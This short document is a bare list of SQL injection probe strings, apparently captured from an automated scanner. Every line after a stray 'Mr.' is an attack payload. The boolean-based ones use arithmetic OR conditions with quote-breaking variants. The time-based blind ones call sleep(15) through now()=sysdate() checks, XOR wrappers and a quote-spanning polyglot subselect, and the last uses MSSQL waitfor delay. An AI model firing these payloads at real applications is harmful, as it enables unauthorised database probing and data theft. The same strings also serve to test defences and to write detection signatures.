Mr.

-1 OR 2+997-997-1=0+0+0+1 --

-1 OR 2+334-334-1=0+0+0+1

-1' OR 2+105-105-1=0+0+0+1 --

-1' OR 2+484-484-1=0+0+0+1 or 'LRyw8QQE'='

-1" OR 2+271-271-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1 waitfor delay '0:0:15' --